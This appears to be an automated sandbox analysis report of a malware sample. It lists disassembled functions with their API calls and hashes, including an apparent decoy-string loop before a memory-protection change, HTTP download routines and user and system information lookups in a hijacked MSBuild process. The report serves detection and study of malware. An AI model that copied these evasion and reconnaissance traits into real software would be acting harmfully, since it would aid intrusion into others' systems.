
Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 09639c715e2dfb49242b8779d60053db35caba1b290743754df9a2dc58bc81e3
Instruction ID: d2cae48347459bc38638d6516fc58f3b9078f4dff7a62a48f0d95c152a0ca7d2
Opcode Fuzzy Hash: 09639c715e2dfb49242b8779d60053db35caba1b290743754df9a2dc58bc81e3
Instruction Fuzzy Hash: DC51D0726002069FDB2D8F98D885BBE77A5FF00316F244629EC15D7291E771EC88CB96

Function 008706EF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,0086F713,00000000,00000001,00000000,00000000,?,00867B44,00000000,00000000,00000000), ref: 00870706
GetLastError.KERNEL32(?,0086F713,00000000,00000001,00000000,00000000,?,00867B44,00000000,00000000,00000000,00000000,00000000,?,008680CB,00000000), ref: 00870712

Part of subcall function 008706D8: CloseHandle.KERNEL32(FFFFFFFE,00870722,?,0086F713,00000000,00000001,00000000,00000000,?,00867B44,00000000,00000000,00000000,00000000,00000000), ref: 008706E8

___initconout.LIBCMT ref: 00870722

Part of subcall function 0087069A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,008706C9,0086F700,00000000,?,00867B44,00000000,00000000,00000000,00000000), ref: 008706AD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,0086F713,00000000,00000001,00000000,00000000,?,00867B44,00000000,00000000,00000000,00000000), ref: 00870737

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e6ecd49ac90226c09201fdfebf706078ab4adf3ce6a1352d255173daebe0ad54
Instruction ID: 3bc50d3106416df9156b664106e76ee959b1be1bd5c82be50b8a969c3d4ce31f
Opcode Fuzzy Hash: e6ecd49ac90226c09201fdfebf706078ab4adf3ce6a1352d255173daebe0ad54
Instruction Fuzzy Hash: 9CF01C36100268BBCF621F95DC089897FA6FF593A1B048020FA5DA5124DA32C9A0EF92

Function 0085A060 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0085A09F
__IsNonwritableInCurrentImage.LIBCMT ref: 0085A153

Strings

csm, xrefs: 0085A13D

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 1dac9ef6553ab4c86ccbd008c9ced48062ac8eaa5c5dfa1ad8d86581471f37e4
Instruction ID: f3c41baaf8767c8792270c3ed74c61135cd29ed14ee110cff961050214380553
Opcode Fuzzy Hash: 1dac9ef6553ab4c86ccbd008c9ced48062ac8eaa5c5dfa1ad8d86581471f37e4
Instruction Fuzzy Hash: 0741B134A006089BCF14DF68C885A9EBBB1FF45315F148255EC1AEB392D735DA49CBA2

Function 0085A96D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 0085A992

Strings

RCC, xrefs: 0085A9AC
MOC, xrefs: 0085A9A4

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 1e0691e5bf5183d3c1faf9965d855f4faf35433c8f13bb5b21f07baa877cc4e1
Instruction ID: 728e27327a39cb227c0e9e775c0dbf37c5b1f9c06e7ab567ae8ce13b203f585e
Opcode Fuzzy Hash: 1e0691e5bf5183d3c1faf9965d855f4faf35433c8f13bb5b21f07baa877cc4e1
Instruction Fuzzy Hash: 48416A31900219AFCF1ADF98CD81AAEBBB5FF48301F154299FD04B7211D3359954DB92

Function 00894FD8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0089504A
__aulldiv.LIBCMT ref: 00895058

Strings

@, xrefs: 00895025

Memory Dump Source

Source File: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction ID: 669d4c093c14fd5fae87199b776e1c47265a855ad2a7a9f3ac8c767266681197
Opcode Fuzzy Hash: 7e71b2cf3ab39a96845f2c5ec6281b05558ac3270fef8c112806fab1e15290c3
Instruction Fuzzy Hash: 76214AB1E44608ABDB00DFD4CC49FAEB7B9FB45B00F144219F605BB280C77869018BA5

Function 0087E0F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0087E130
__aulldiv.LIBCMT ref: 0087E13E

Strings

@, xrefs: 0087E10B

Memory Dump Source

Source File: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: __aulldiv
String ID: @
API String ID: 3732870572-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: 916112d55bed2f75f92276baa96503f079f1273e6bc5018106571f05b7ca64d6
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: CF014FB0940308FAEF10EBD4CC46B9DBA78FB05706F648098E708B6280D67495428766

Function 008515DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008515E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0085161E

Part of subcall function 00855178: _Yarn.LIBCPMT ref: 00855197
Part of subcall function 00855178: _Yarn.LIBCPMT ref: 008551BB

Strings

bad locale name, xrefs: 0085162C

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 6f1b7fb9b5648284ea10918b4072ef98cbef2805975f6afcd2f5adc9f950f483
Instruction ID: 0bc3a69c7990c6241b31babcef31153bc0b4c12def8caf236f7785f658dac521
Opcode Fuzzy Hash: 6f1b7fb9b5648284ea10918b4072ef98cbef2805975f6afcd2f5adc9f950f483
Instruction Fuzzy Hash: B1F01771549B909E83319F7E8481447FBE4FE283213949E2EE0DEC3A11D734E448CB6A

Analysis Process: MSBuild.exePID: 7744, Parent PID: 7676COMMON

Execution Graph

Execution Coverage:	13.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.6%
Total number of Nodes:	1529
Total number of Limit Nodes:	3

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNELBASE(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 60c508d88f0449400eea4780d1c2a55aa70dbc5de1ae23165444dfbd3f1c6033
Instruction ID: ff82eb6acc97b20701c4bcbd3dbf8f3289274c2dbbe7f73b68b52ee208cac3fc
Opcode Fuzzy Hash: 60c508d88f0449400eea4780d1c2a55aa70dbc5de1ae23165444dfbd3f1c6033
Instruction Fuzzy Hash: 1D419979740624EBC718AFE5FC8DB987F71AB4C712BA0C062F90296190C7B9D5119B3E

Function 00406280 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000,00420DFB), ref: 004062E1
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,?,00000000,00000000,00400100,00000000), ref: 00406385
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D

Strings

GET, xrefs: 0040637C
ERROR, xrefs: 00406407
ERROR, xrefs: 004064C9

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$??2@$HttpOpenRequest$ConnectCrackFileReadSend
String ID: ERROR$ERROR$GET
API String ID: 1095854997-2509457195
Opcode ID: 460f558118b4083d41359c156125f26ce9f22fb94ebe107836e013dd45d71b95
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: 460f558118b4083d41359c156125f26ce9f22fb94ebe107836e013dd45d71b95
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00417850 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A

Memory Dump Source

Source File: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

